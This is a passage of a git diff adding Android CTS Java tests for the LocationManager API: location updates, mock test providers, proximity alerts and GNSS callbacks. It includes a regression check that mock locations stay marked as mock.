+ // expected
+ }
+ }
+
+ @Test
+ public void testRequestLocationUpdates_DirectExecutor() throws Exception {
+ Location loc1 = createLocation(TEST_PROVIDER, mRandom);
+ Location loc2 = createLocation(TEST_PROVIDER, mRandom);
+
+ try (LocationListenerCapture capture = new LocationListenerCapture(mContext)) {
+ mManager.requestLocationUpdates(TEST_PROVIDER, 0, 0, Runnable::run, capture);
+
+ mManager.setTestProviderLocation(TEST_PROVIDER, loc1);
+ assertThat(capture.getNextLocation(TIMEOUT_MS)).isEqualTo(loc1);
+ mManager.setTestProviderLocation(TEST_PROVIDER, loc2);
+ assertThat(capture.getNextLocation(TIMEOUT_MS)).isEqualTo(loc2);
+ mManager.setTestProviderEnabled(TEST_PROVIDER, false);
+ assertThat(capture.getNextProviderChange(TIMEOUT_MS)).isEqualTo(Boolean.FALSE);
+ mManager.setTestProviderEnabled(TEST_PROVIDER, true);
+ assertThat(capture.getNextProviderChange(TIMEOUT_MS)).isEqualTo(Boolean.TRUE);
+ }
+ }
+
+ @Test
+ public void testRequestLocationUpdates_Looper() throws Exception {
+ HandlerThread thread = new HandlerThread("locationTestThread");
+ thread.start();
+ Looper looper = thread.getLooper();
+ try {
+
+ Location loc1 = createLocation(TEST_PROVIDER, mRandom);
+ Location loc2 = createLocation(TEST_PROVIDER, mRandom);
+
+ try (LocationListenerCapture capture = new LocationListenerCapture(mContext)) {
+ mManager.requestLocationUpdates(TEST_PROVIDER, 0, 0, capture, looper);
+
+ mManager.setTestProviderLocation(TEST_PROVIDER, loc1);
+ assertThat(capture.getNextLocation(TIMEOUT_MS)).isEqualTo(loc1);
+ mManager.setTestProviderLocation(TEST_PROVIDER, loc2);
+ assertThat(capture.getNextLocation(TIMEOUT_MS)).isEqualTo(loc2);
+ mManager.setTestProviderEnabled(TEST_PROVIDER, false);
+ assertThat(capture.getNextProviderChange(TIMEOUT_MS)).isEqualTo(Boolean.FALSE);
+ mManager.setTestProviderEnabled(TEST_PROVIDER, true);
+ assertThat(capture.getNextProviderChange(TIMEOUT_MS)).isEqualTo(Boolean.TRUE);
+ }
+
+ } finally {
+ looper.quit();
+ }
+ }
+
+ @Test
+ public void testRequestLocationUpdates_Criteria() throws Exception {
+ // criteria API will always use the fused provider...
+ mManager.addTestProvider(FUSED_PROVIDER,
+ false,
+ false,
+ false,
+ false,
+ true,
+ true,
+ true,
+ Criteria.POWER_LOW,
+ Criteria.ACCURACY_FINE);
+ setTestProviderEnabled(FUSED_PROVIDER, true);
+
+ Criteria criteria = new Criteria();
+ criteria.setAccuracy(Criteria.ACCURACY_FINE);
+ criteria.setPowerRequirement(Criteria.POWER_LOW);
+
+ Location loc1 = createLocation(FUSED_PROVIDER, mRandom);
+ Location loc2 = createLocation(FUSED_PROVIDER, mRandom);
+
+ try (LocationListenerCapture capture = new LocationListenerCapture(mContext)) {
+ mManager.requestLocationUpdates(0, 0, criteria, Executors.newSingleThreadExecutor(), capture);
+
+ mManager.setTestProviderLocation(FUSED_PROVIDER, loc1);
+ assertThat(capture.getNextLocation(TIMEOUT_MS)).isEqualTo(loc1);
+ mManager.setTestProviderLocation(FUSED_PROVIDER, loc2);
+ assertThat(capture.getNextLocation(TIMEOUT_MS)).isEqualTo(loc2);
+ mManager.setTestProviderEnabled(FUSED_PROVIDER, false);
+ assertThat(capture.getNextProviderChange(TIMEOUT_MS)).isEqualTo(Boolean.FALSE);
+ mManager.setTestProviderEnabled(FUSED_PROVIDER, true);
+ assertThat(capture.getNextProviderChange(TIMEOUT_MS)).isEqualTo(Boolean.TRUE);
+
+ mManager.removeUpdates(capture);
+
+ mManager.setTestProviderLocation(FUSED_PROVIDER, loc1);
+ assertThat(capture.getNextLocation(FAILURE_TIMEOUT_MS)).isNull();
+ mManager.setTestProviderEnabled(FUSED_PROVIDER, false);
+ assertThat(capture.getNextProviderChange(FAILURE_TIMEOUT_MS)).isNull();
+ mManager.setTestProviderEnabled(FUSED_PROVIDER, true);
+ assertThat(capture.getNextProviderChange(FAILURE_TIMEOUT_MS)).isNull();
+ }
+
+
+ try {
+ mManager.requestLocationUpdates(0, 0, criteria, null, Looper.getMainLooper());
+ fail("Should throw IllegalArgumentException if listener is null!");
+ } catch (IllegalArgumentException e) {
+ // expected
+ }
+
+ try (LocationListenerCapture capture = new LocationListenerCapture(mContext)) {
+ mManager.requestLocationUpdates(0, 0, criteria, null, capture);
+ fail("Should throw IllegalArgumentException if executor is null!");
+ } catch (IllegalArgumentException e) {
+ // expected
+ }
+
+ try (LocationListenerCapture capture = new LocationListenerCapture(mContext)) {
+ mManager.requestLocationUpdates(0, 0, null, Executors.newSingleThreadExecutor(), capture);
+ fail("Should throw IllegalArgumentException if criteria is null!");
+ } catch (IllegalArgumentException e) {
+ // expected
+ }
+ }
+
+ @Test
+ public void testRequestLocationUpdates_ReplaceRequest() throws Exception {
+ Location loc1 = createLocation(TEST_PROVIDER, mRandom);
+ Location loc2 = createLocation(TEST_PROVIDER, mRandom);
+
+ try (LocationListenerCapture capture = new LocationListenerCapture(mContext)) {
+ mManager.requestLocationUpdates(TEST_PROVIDER, 1000, 1000, (runnable) -> {}, capture);
+ mManager.requestLocationUpdates(TEST_PROVIDER, 0, 0, Executors.newSingleThreadExecutor(), capture);
+
+ mManager.setTestProviderLocation(TEST_PROVIDER, loc1);
+ assertThat(capture.getNextLocation(TIMEOUT_MS)).isEqualTo(loc1);
+ mManager.setTestProviderLocation(TEST_PROVIDER, loc2);
+ assertThat(capture.getNextLocation(TIMEOUT_MS)).isEqualTo(loc2);
+ }
+ }
+
+ @Test
+ public void testRequestLocationUpdates_NumUpdates() throws Exception {
+ Location loc1 = createLocation(TEST_PROVIDER, mRandom);
+ Location loc2 = createLocation(TEST_PROVIDER, mRandom);
+
+ LocationRequest request = LocationRequest.createFromDeprecatedProvider(TEST_PROVIDER, 0, 0,
+ false);
+ request.setNumUpdates(1);
+
+ try (LocationListenerCapture capture = new LocationListenerCapture(mContext)) {
+ mManager.requestLocationUpdates(request, Executors.newSingleThreadExecutor(), capture);
+
+ mManager.setTestProviderLocation(TEST_PROVIDER, loc1);
+ assertThat(capture.getNextLocation(TIMEOUT_MS)).isEqualTo(loc1);
+ mManager.setTestProviderLocation(TEST_PROVIDER, loc2);
+ assertThat(capture.getNextLocation(FAILURE_TIMEOUT_MS)).isNull();
+ }
+ }
+
+ @Test
+ public void testRequestLocationUpdates_MinTime() throws Exception {
+ Location loc1 = createLocation(TEST_PROVIDER, mRandom);
+ Location loc2 = createLocation(TEST_PROVIDER, mRandom);
+
+ LocationRequest request = LocationRequest.createFromDeprecatedProvider(TEST_PROVIDER, 5000,
+ 0, false);
+
+ try (LocationListenerCapture capture = new LocationListenerCapture(mContext)) {
+ mManager.requestLocationUpdates(request, Executors.newSingleThreadExecutor(), capture);
+
+ mManager.setTestProviderLocation(TEST_PROVIDER, loc1);
+ assertThat(capture.getNextLocation(TIMEOUT_MS)).isEqualTo(loc1);
+ mManager.setTestProviderLocation(TEST_PROVIDER, loc2);
+ assertThat(capture.getNextLocation(FAILURE_TIMEOUT_MS)).isNull();
+ }
+ }
+
+ @Test
+ public void testRequestLocationUpdates_MinDistance() throws Exception {
+ Location loc1 = createLocation(TEST_PROVIDER, 0, 0, 10);
+ Location loc2 = createLocation(TEST_PROVIDER, 0, 1, 10);
+
+ LocationRequest request = LocationRequest.createFromDeprecatedProvider(TEST_PROVIDER, 0,
+ 200000, false);
+
+ try (LocationListenerCapture capture = new LocationListenerCapture(mContext)) {
+ mManager.requestLocationUpdates(request, Executors.newSingleThreadExecutor(), capture);
+
+ mManager.setTestProviderLocation(TEST_PROVIDER, loc1);
+ assertThat(capture.getNextLocation(TIMEOUT_MS)).isEqualTo(loc1);
+ mManager.setTestProviderLocation(TEST_PROVIDER, loc2);
+ assertThat(capture.getNextLocation(FAILURE_TIMEOUT_MS)).isNull();
+ }
+ }
+
+ @Test
+ @AppModeFull(reason = "Instant apps can't hold ACCESS_LOCATION_EXTRA_COMMANDS permission")
+ public void testRequestGpsUpdates_B9758659() throws Exception {
+ // test for b/9758659, where the gps provider may reuse network provider positions creating
+ // an unnatural feedback loop
+ assertThat(mManager.isProviderEnabled(GPS_PROVIDER)).isTrue();
+
+ Location networkLocation = createLocation(NETWORK_PROVIDER, mRandom);
+
+ mManager.addTestProvider(NETWORK_PROVIDER,
+ false,
+ false,
+ false,
+ false,
+ true,
+ true,
+ true,
+ Criteria.POWER_LOW,
+ Criteria.ACCURACY_COARSE);
+ setTestProviderEnabled(NETWORK_PROVIDER, true);
+ mManager.setTestProviderLocation(NETWORK_PROVIDER, networkLocation);
+
+ // reset gps provider to give it a cold start scenario
+ mManager.sendExtraCommand(GPS_PROVIDER, "delete_aiding_data", null);
+
+ LocationRequest request = LocationRequest.createFromDeprecatedProvider(GPS_PROVIDER, 0, 0, false);
+ try (LocationListenerCapture capture = new LocationListenerCapture(mContext)) {
+ mManager.requestLocationUpdates(request, Executors.newSingleThreadExecutor(), capture);
+
+ Location location = capture.getNextLocation(TIMEOUT_MS);
+ if (location != null) {
+ assertThat(location.distanceTo(networkLocation)).isGreaterThan(1000.0f);
+ }
+ }
+ }
+
+ @Test
+ public void testListenProviderEnable_Listener() throws Exception {
+ try (LocationListenerCapture capture = new LocationListenerCapture(mContext)) {
+ mManager.requestLocationUpdates(TEST_PROVIDER, 0, 0,
+ Executors.newSingleThreadExecutor(), capture);
+
+ mManager.setTestProviderEnabled(TEST_PROVIDER, false);
+ assertThat(capture.getNextProviderChange(TIMEOUT_MS)).isEqualTo(false);
+ mManager.setTestProviderEnabled(TEST_PROVIDER, true);
+ assertThat(capture.getNextProviderChange(TIMEOUT_MS)).isEqualTo(true);
+
+ mManager.removeUpdates(capture);
+
+ mManager.setTestProviderEnabled(TEST_PROVIDER, false);
+ assertThat(capture.getNextLocation(FAILURE_TIMEOUT_MS)).isNull();
+ }
+ }
+
+ @Test
+ public void testListenProviderEnable_PendingIntent() throws Exception {
+ try (LocationPendingIntentCapture capture = new LocationPendingIntentCapture(mContext)) {
+ mManager.requestLocationUpdates(TEST_PROVIDER, 0, 0, capture.getPendingIntent());
+
+ mManager.setTestProviderEnabled(TEST_PROVIDER, false);
+ assertThat(capture.getNextProviderChange(TIMEOUT_MS)).isEqualTo(false);
+ mManager.setTestProviderEnabled(TEST_PROVIDER, true);
+ assertThat(capture.getNextProviderChange(TIMEOUT_MS)).isEqualTo(true);
+
+ mManager.removeUpdates(capture.getPendingIntent());
+
+ mManager.setTestProviderEnabled(TEST_PROVIDER, false);
+ assertThat(capture.getNextLocation(FAILURE_TIMEOUT_MS)).isNull();
+ }
+ }
+
+ @Test
+ public void testListenProviderEnable_Broadcast() throws Exception {
+ try (BroadcastCapture capture = new BroadcastCapture(mContext, PROVIDERS_CHANGED_ACTION)) {
+ mManager.setTestProviderEnabled(TEST_PROVIDER, false);
+ Intent broadcast = capture.getNextIntent(TIMEOUT_MS);
+ assertThat(broadcast).isNotNull();
+ assertThat(broadcast).hasAction(PROVIDERS_CHANGED_ACTION);
+ assertThat(broadcast).extras().string(EXTRA_PROVIDER_NAME).isEqualTo(TEST_PROVIDER);
+ assertThat(broadcast).extras().bool(EXTRA_PROVIDER_ENABLED).isFalse();
+
+ mManager.setTestProviderEnabled(TEST_PROVIDER, true);
+ broadcast = capture.getNextIntent(TIMEOUT_MS);
+ assertThat(broadcast).isNotNull();
+ assertThat(broadcast).hasAction(PROVIDERS_CHANGED_ACTION);
+ assertThat(broadcast).extras().string(EXTRA_PROVIDER_NAME).isEqualTo(TEST_PROVIDER);
+ assertThat(broadcast).extras().bool(EXTRA_PROVIDER_ENABLED).isTrue();
+ }
+ }
+
+ @Test
+ public void testGetAllProviders() {
+ List<String> providers = mManager.getAllProviders();
+ if (hasGpsFeature()) {
+ assertThat(providers.contains(LocationManager.GPS_PROVIDER)).isTrue();
+ }
+ assertThat(providers.contains(PASSIVE_PROVIDER)).isTrue();
+ assertThat(providers.contains(TEST_PROVIDER)).isTrue();
+ assertThat(providers.size()).isEqualTo(new HashSet<>(providers).size());
+
+ mManager.removeTestProvider(TEST_PROVIDER);
+
+ providers = mManager.getAllProviders();
+ assertThat(providers.contains(PASSIVE_PROVIDER)).isTrue();
+ assertThat(providers.contains(TEST_PROVIDER)).isFalse();
+ }
+
+ @Test
+ public void testGetProviders() throws Exception {
+ List<String> providers = mManager.getProviders(false);
+ assertThat(providers.contains(TEST_PROVIDER)).isTrue();
+
+ providers = mManager.getProviders(true);
+ assertThat(providers.contains(TEST_PROVIDER)).isTrue();
+
+ setTestProviderEnabled(TEST_PROVIDER, false);
+
+ providers = mManager.getProviders(false);
+ assertThat(providers.contains(TEST_PROVIDER)).isTrue();
+
+ providers = mManager.getProviders(true);
+ assertThat(providers.contains(TEST_PROVIDER)).isFalse();
+ }
+
+ @Test
+ public void testGetProviders_Criteria() {
+ Criteria criteria = new Criteria();
+
+ List<String> providers = mManager.getProviders(criteria, false);
+ assertThat(providers.contains(TEST_PROVIDER)).isTrue();
+
+ providers = mManager.getProviders(criteria, true);
+ assertThat(providers.contains(TEST_PROVIDER)).isTrue();
+
+ criteria.setPowerRequirement(Criteria.POWER_LOW);
+
+ providers = mManager.getProviders(criteria, false);
+ assertThat(providers.contains(TEST_PROVIDER)).isFalse();
+
+ providers = mManager.getProviders(criteria, true);
+ assertThat(providers.contains(TEST_PROVIDER)).isFalse();
+ }
+
+ @Test
+ public void testGetBestProvider() throws Exception {
+ List<String> allProviders = mManager.getAllProviders();
+ Criteria criteria = new Criteria();
+
+ String bestProvider = mManager.getBestProvider(criteria, false);
+ if (allProviders.contains(GPS_PROVIDER)) {
+ assertThat(bestProvider).isEqualTo(GPS_PROVIDER);
+ } else if (allProviders.contains(NETWORK_PROVIDER)) {
+ assertThat(bestProvider).isEqualTo(NETWORK_PROVIDER);
+ } else {
+ assertThat(bestProvider).isEqualTo(TEST_PROVIDER);
+ }
+
+ // the "perfect" provider - this test case only works if there is no real provider on the
+ // device with the same "perfect" properties
+ mManager.addTestProvider(TEST_PROVIDER,
+ false,
+ false,
+ false,
+ false,
+ true,
+ true,
+ true,
+ Criteria.POWER_LOW,
+ Criteria.ACCURACY_FINE);
+
+ criteria.setAccuracy(Criteria.ACCURACY_FINE);
+ criteria.setPowerRequirement(Criteria.POWER_LOW);
+ assertThat(mManager.getBestProvider(criteria, false)).isEqualTo(TEST_PROVIDER);
+
+ setTestProviderEnabled(TEST_PROVIDER, false);
+ assertThat(mManager.getBestProvider(criteria, true)).isNotEqualTo(TEST_PROVIDER);
+ }
+
+ @Test
+ public void testGetProvider() {
+ LocationProvider provider = mManager.getProvider(TEST_PROVIDER);
+ assertThat(provider).isNotNull();
+ assertThat(provider.getName()).isEqualTo(TEST_PROVIDER);
+
+ provider = mManager.getProvider(LocationManager.GPS_PROVIDER);
+ if (hasGpsFeature()) {
+ assertThat(provider).isNotNull();
+ assertThat(provider.getName()).isEqualTo(LocationManager.GPS_PROVIDER);
+ } else {
+ assertThat(provider).isNull();
+ }
+
+ try {
+ mManager.getProvider(null);
+ fail("Should throw IllegalArgumentException when provider is null!");
+ } catch (IllegalArgumentException e) {
+ // expected
+ }
+ }
+
+ @Test
+ @AppModeFull(reason = "Instant apps can't hold ACCESS_LOCATION_EXTRA_COMMANDS permission")
+ public void testSendExtraCommand() {
+ for (String provider : mManager.getAllProviders()) {
+ boolean res = mManager.sendExtraCommand(provider, "dontCrash", null);
+ assertThat(res).isTrue();
+
+ try {
+ mManager.sendExtraCommand(provider, null, null);
+ fail("Should throw IllegalArgumentException if command is null!");
+ } catch (IllegalArgumentException e) {
+ // expected
+ }
+ }
+
+ try {
+ mManager.sendExtraCommand(null, "crash", null);
+ fail("Should throw IllegalArgumentException if provider is null!");
+ } catch (IllegalArgumentException e) {
+ // expected
+ }
+ }
+
+ @Test
+ public void testAddTestProvider() {
+ // overwriting providers should not crash
+ for (String provider : mManager.getAllProviders()) {
+ if (PASSIVE_PROVIDER.equals(provider)) {
+ continue;
+ }
+
+ mManager.addTestProvider(provider, true,
+ false,
+ true,
+ false,
+ false,
+ false,
+ false,
+ Criteria.POWER_MEDIUM,
+ Criteria.ACCURACY_FINE);
+ mManager.setTestProviderLocation(provider, createLocation(provider, mRandom));
+ }
+
+ try {
+ mManager.addTestProvider("passive",
+ true,
+ false,
+ true,
+ false,
+ false,
+ false,
+ false,
+ Criteria.POWER_MEDIUM,
+ Criteria.ACCURACY_FINE);
+ fail("Should throw IllegalArgumentException if provider is passive!");
+ } catch (IllegalArgumentException e) {
+ // expected
+ }
+
+ try {
+ mManager.addTestProvider(null,
+ true,
+ false,
+ true,
+ false,
+ false,
+ false,
+ false,
+ Criteria.POWER_MEDIUM,
+ Criteria.ACCURACY_FINE);
+ fail("Should throw IllegalArgumentException if provider is null!");
+ } catch (IllegalArgumentException e) {
+ // expected
+ }
+ }
+
+ @Test
+ public void testSetTestProviderEnabled() {
+ for (String provider : mManager.getAllProviders()) {
+ if (TEST_PROVIDER.equals(provider)) {
+ mManager.setTestProviderEnabled(provider, false);
+ assertThat(mManager.isProviderEnabled(provider)).isFalse();
+ mManager.setTestProviderEnabled(provider, true);
+ assertThat(mManager.isProviderEnabled(provider)).isTrue();
+ } else {
+ try {
+ mManager.setTestProviderEnabled(provider, false);
+ fail("Should throw IllegalArgumentException since " + provider
+ + " is not a test provider!");
+ } catch (IllegalArgumentException e) {
+ // expected
+ }
+ }
+ }
+
+ mManager.removeTestProvider(TEST_PROVIDER);
+ try {
+ mManager.setTestProviderEnabled(TEST_PROVIDER, false);
+ fail("Should throw IllegalArgumentException since " + TEST_PROVIDER
+ + " is not a test provider!");
+ } catch (IllegalArgumentException e) {
+ // expected
+ }
+
+ try {
+ mManager.setTestProviderEnabled(null, false);
+ fail("Should throw IllegalArgumentException since provider is null!");
+ } catch (IllegalArgumentException e) {
+ // expected
+ }
+ }
+
+ @Test
+ public void testSetTestProviderLocation() throws Exception {
+ Location loc1 = createLocation(TEST_PROVIDER, mRandom);
+ Location loc2 = createLocation(TEST_PROVIDER, mRandom);
+
+ for (String provider : mManager.getAllProviders()) {
+ if (TEST_PROVIDER.equals(provider)) {
+ try (LocationListenerCapture capture = new LocationListenerCapture(mContext)) {
+ mManager.requestLocationUpdates(TEST_PROVIDER, 0, 0,
+ Executors.newSingleThreadExecutor(), capture);
+ mManager.setTestProviderLocation(provider, loc1);
+
+ Location received = capture.getNextLocation(TIMEOUT_MS);
+ assertThat(received).isEqualTo(loc1);
+ assertThat(received.isFromMockProvider()).isTrue();
+ assertThat(mManager.getLastKnownLocation(provider)).isEqualTo(loc1);
+
+ setTestProviderEnabled(provider, false);
+ mManager.setTestProviderLocation(provider, loc2);
+ assertThat(mManager.getLastKnownLocation(provider)).isNull();
+ assertThat(capture.getNextLocation(FAILURE_TIMEOUT_MS)).isNull();
+ }
+ } else {
+ try {
+ mManager.setTestProviderLocation(provider, loc1);
+ fail("Should throw IllegalArgumentException since " + provider
+ + " is not a test provider!");
+ } catch (IllegalArgumentException e) {
+ // expected
+ }
+ }
+ }
+
+ try {
+ mManager.setTestProviderLocation(TEST_PROVIDER, null);
+ fail("Should throw IllegalArgumentException since location is null!");
+ } catch (IllegalArgumentException e) {
+ // expected
+ }
+
+ mManager.removeTestProvider(TEST_PROVIDER);
+ try {
+ mManager.setTestProviderLocation(TEST_PROVIDER, loc1);
+ fail("Should throw IllegalArgumentException since " + TEST_PROVIDER
+ + " is not a test provider!");
+ } catch (IllegalArgumentException e) {
+ // expected
+ }
+
+ try {
+ mManager.setTestProviderLocation(null, loc1);
+ fail("Should throw IllegalArgumentException since provider is null!");
+ } catch (IllegalArgumentException e) {
+ // expected
+ }
+ }
+
+ @Test
+ public void testSetTestProviderLocation_B33091107() throws Exception {
+ // test for b/33091107, where a malicious app could fool a real provider into providing a
+ // mock location that isn't marked as being mock
+
+ List<String> providers = mManager.getAllProviders();
+ if (providers.size() <= 2) {
+ // can't perform the test without any real providers, and no need to do so since there
+ // are no providers a malicious app could fool
+ assertThat(providers.contains(TEST_PROVIDER)).isTrue();
+ assertThat(providers.contains(PASSIVE_PROVIDER)).isTrue();
+ return;
+ }
+
+ providers.remove(TEST_PROVIDER);
+ providers.remove(PASSIVE_PROVIDER);
+
+ String realProvider = providers.get(0);
+ Location loc = createLocation(realProvider, mRandom);
+
+ try (GetCurrentLocationCapture capture = new GetCurrentLocationCapture()) {
+ mManager.getCurrentLocation(TEST_PROVIDER, capture.getCancellationSignal(),
+ Executors.newSingleThreadExecutor(), capture);
+ mManager.setTestProviderLocation(TEST_PROVIDER, loc);
+
+ Location received = capture.getLocation(TIMEOUT_MS);
+ assertThat(received).isEqualTo(loc);
+ assertThat(received.isFromMockProvider()).isTrue();
+
+ Location realProvideLocation = mManager.getLastKnownLocation(realProvider);
+ if (realProvideLocation != null) {
+ try {
+ assertThat(realProvideLocation).isEqualTo(loc);
+ fail("real provider saw " + TEST_PROVIDER + " location!");
+ } catch (AssertionError e) {
+ // pass
+ }
+ }
+ }
+ }
+
+ @Test
+ public void testRemoveTestProvider() {
+ // removing providers should not crash
+ for (String provider : mManager.getAllProviders()) {
+ mManager.removeTestProvider(provider);
+ }
+ }
+
+ @Test
+ public void testAddProximityAlert() throws Exception {
+ if (isNotSystemUser()) {
+ Log.i(TAG, "Skipping test on secondary user");
+ return;
+ }
+
+ mManager.addTestProvider(FUSED_PROVIDER,
+ true,
+ false,
+ true,
+ false,
+ false,
+ false,
+ false,
+ Criteria.POWER_MEDIUM,
+ Criteria.ACCURACY_FINE);
+ setTestProviderEnabled(FUSED_PROVIDER, true);
+ mManager.setTestProviderLocation(FUSED_PROVIDER, createLocation(FUSED_PROVIDER, 30, 30, 10));
+
+ try (ProximityPendingIntentCapture capture = new ProximityPendingIntentCapture(mContext)) {
+ mManager.addProximityAlert(0, 0, 1000, -1, capture.getPendingIntent());
+
+ // adding a proximity alert is asynchronous for no good reason, so we have to wait and
+ // hope the alert is added in the mean time.
+ Thread.sleep(500);
+
+ mManager.setTestProviderLocation(FUSED_PROVIDER, createLocation(FUSED_PROVIDER, 0, 0, 10));
+ assertThat(capture.getNextProximityChange(TIMEOUT_MS)).isEqualTo(Boolean.TRUE);
+
+ mManager.setTestProviderLocation(FUSED_PROVIDER,
+ createLocation(FUSED_PROVIDER, 30, 30, 10));
+ assertThat(capture.getNextProximityChange(TIMEOUT_MS)).isEqualTo(Boolean.FALSE);
+ }
+
+ try {
+ mManager.addProximityAlert(0, 0, 1000, -1, null);
+ fail("Should throw IllegalArgumentException if pending intent is null!");
+ } catch (IllegalArgumentException e) {
+ // expected
+ }
+
+ try (ProximityPendingIntentCapture capture = new ProximityPendingIntentCapture(mContext)) {
+ try {
+ mManager.addProximityAlert(0, 0, 0, -1, capture.getPendingIntent());
+ fail("Should throw IllegalArgumentException if radius == 0!");
+ } catch (IllegalArgumentException e) {
+ // expected
+ }
+
+ try {
+ mManager.addProximityAlert(0, 0, -1, -1, capture.getPendingIntent());
+ fail("Should throw IllegalArgumentException if radius < 0!");
+ } catch (IllegalArgumentException e) {
+ // expected
+ }
+
+ try {
+ mManager.addProximityAlert(1000, 1000, 1000, -1, capture.getPendingIntent());
+ fail("Should throw IllegalArgumentException if lat/lon are illegal!");
+ } catch (IllegalArgumentException e) {
+ // expected
+ }
+ }
+ }
+
+ @Test
+ public void testAddProximityAlert_StartProximate() throws Exception {
+ if (isNotSystemUser()) {
+ Log.i(TAG, "Skipping test on secondary user");
+ return;
+ }
+
+ mManager.addTestProvider(FUSED_PROVIDER,
+ true,
+ false,
+ true,
+ false,
+ false,
+ false,
+ false,
+ Criteria.POWER_MEDIUM,
+ Criteria.ACCURACY_FINE);
+ setTestProviderEnabled(FUSED_PROVIDER, true);
+ mManager.setTestProviderLocation(FUSED_PROVIDER, createLocation(FUSED_PROVIDER, 0, 0, 10));
+
+ try (ProximityPendingIntentCapture capture = new ProximityPendingIntentCapture(mContext)) {
+ mManager.addProximityAlert(0, 0, 1000, -1, capture.getPendingIntent());
+ assertThat(capture.getNextProximityChange(TIMEOUT_MS)).isEqualTo(Boolean.TRUE);
+ }
+ }
+
+ @Test
+ public void testAddProximityAlert_Expires() throws Exception {
+ if (isNotSystemUser()) {
+ Log.i(TAG, "Skipping test on secondary user");
+ return;
+ }
+
+ mManager.addTestProvider(FUSED_PROVIDER,
+ true,
+ false,
+ true,
+ false,
+ false,
+ false,
+ false,
+ Criteria.POWER_MEDIUM,
+ Criteria.ACCURACY_FINE);
+ setTestProviderEnabled(FUSED_PROVIDER, true);
+ mManager.setTestProviderLocation(FUSED_PROVIDER, createLocation(FUSED_PROVIDER, 30, 30, 10));
+
+ try (ProximityPendingIntentCapture capture = new ProximityPendingIntentCapture(mContext)) {
+ mManager.addProximityAlert(0, 0, 1000, 1, capture.getPendingIntent());
+
+ // adding a proximity alert is asynchronous for no good reason, so we have to wait and
+ // hope the alert is added in the mean time.
+ Thread.sleep(500);
+
+ mManager.setTestProviderLocation(FUSED_PROVIDER, createLocation(FUSED_PROVIDER, 0, 0, 10));
+ assertThat(capture.getNextProximityChange(FAILURE_TIMEOUT_MS)).isNull();
+ }
+ }
+
+ @Test
+ public void testGetGnssYearOfHardware() {
+ mManager.getGnssYearOfHardware();
+ }
+
+ @Test
+ public void testGetGnssHardwareModelName() {
+ // model name should be longer than 4 characters
+ String gnssHardwareModelName = mManager.getGnssHardwareModelName();
+ assertThat(gnssHardwareModelName.length()).isGreaterThan(3);
+ }
+
+ @Test
+ public void testRegisterGnssStatusCallback() {
+ GnssStatus.Callback callback = new GnssStatus.Callback() {
+ };
+
+ mManager.registerGnssStatusCallback(Executors.newSingleThreadExecutor(), callback);
+ mManager.unregisterGnssStatusCallback(callback);
+ }
+
+ @Test
+ public void testAddNmeaListener() {
+ OnNmeaMessageListener listener = (message, timestamp) -> {
+ };
+
+ mManager.addNmeaListener(Executors.newSingleThreadExecutor(), listener);
+ mManager.removeNmeaListener(listener);
+ }
+
+ @Test
+ public void testRegisterGnssMeasurementsCallback() {
+ GnssMeasurementsEvent.Callback callback = new GnssMeasurementsEvent.Callback() {
+ };
+
+ mManager.registerGnssMeasurementsCallback(Executors.newSingleThreadExecutor(), callback);
+ mManager.unregisterGnssMeasurementsCallback(callback);
+ }
+
+ @Test
+ public void testRegisterGnssNavigationMessageCallback() {
+ GnssNavigationMessage.Callback callback = new GnssNavigationMessage.Callback() {
+ };
+
+ mManager.registerGnssNavigationMessageCallback(Executors.newSingleThreadExecutor(), callback);
+ mManager.unregisterGnssNavigationMessageCallback(callback);
+ }
+
+ private boolean hasGpsFeature() {
+ return mContext.getPackageManager().hasSystemFeature(
+ PackageManager.FEATURE_LOCATION_GPS);
+ }
+
+ private boolean isNotSystemUser() {
+ return !mContext.getSystemService(UserManager.class).isSystemUser();
+ }
+
+ private void setTestProviderEnabled(String provider, boolean enabled) throws InterruptedException {
+ // prior to R, setTestProviderEnabled is asynchronous, so we have to wait for provider
+ // state to settle.
+ if (VERSION.SDK_INT <= VERSION_CODES.Q) {
+ CountDownLatch latch = new CountDownLatch(1);
+ BroadcastReceiver receiver = new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ latch.countDown();
+ }
+ };
+ mContext.registerReceiver(receiver,
+ new IntentFilter(PROVIDERS_CHANGED_ACTION));
+ mManager.setTestProviderEnabled(provider, enabled);
+
+ // it's ok if this times out, as we don't notify for noop changes
+ if (!latch.await(500, TimeUnit.MILLISECONDS)) {
+ Log.i(TAG, "timeout while waiting for provider enabled change");
+ }
+ mContext.unregisterReceiver(receiver);
+ } else {
+ mManager.setTestProviderEnabled(provider, enabled);
+ }
+ }
+}
diff --git a/tests/location/location_fine/src/android/location/cts/fine/LocationTest.java b/tests/location/location_fine/src/android/location/cts/fine/LocationTest.java
new file mode 100644
index 0000000..4c1d586
--- /dev/null
+++ b/tests/location/location_fine/src/android/location/cts/fine/LocationTest.java
@@ -0,0 +1,539 @@
+/*
+ * Copyright (C) 2008 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.fine;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.location.Location;
+import android.os.Bundle;
+import android.os.Parcel;
+import android.util.StringBuilderPrinter;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.text.DecimalFormat;
+
+@RunWith(AndroidJUnit4.class)
+public class LocationTest {
+
+ private static final float DELTA = 0.1f;
+ private final float TEST_ACCURACY = 1.0f;
+ private final float TEST_VERTICAL_ACCURACY = 2.0f;
+ private final float TEST_SPEED_ACCURACY = 3.0f;
+ private final float TEST_BEARING_ACCURACY = 4.0f;
+ private final double TEST_ALTITUDE = 1.0;
+ private final double TEST_LATITUDE = 50;
+ private final float TEST_BEARING = 1.0f;
+ private final double TEST_LONGITUDE = 20;
+ private final float TEST_SPEED = 5.0f;
+ private final long TEST_TIME = 100;
+ private final String TEST_PROVIDER = "LocationProvider";
+ private final String TEST_KEY1NAME = "key1";
+ private final String TEST_KEY2NAME = "key2";
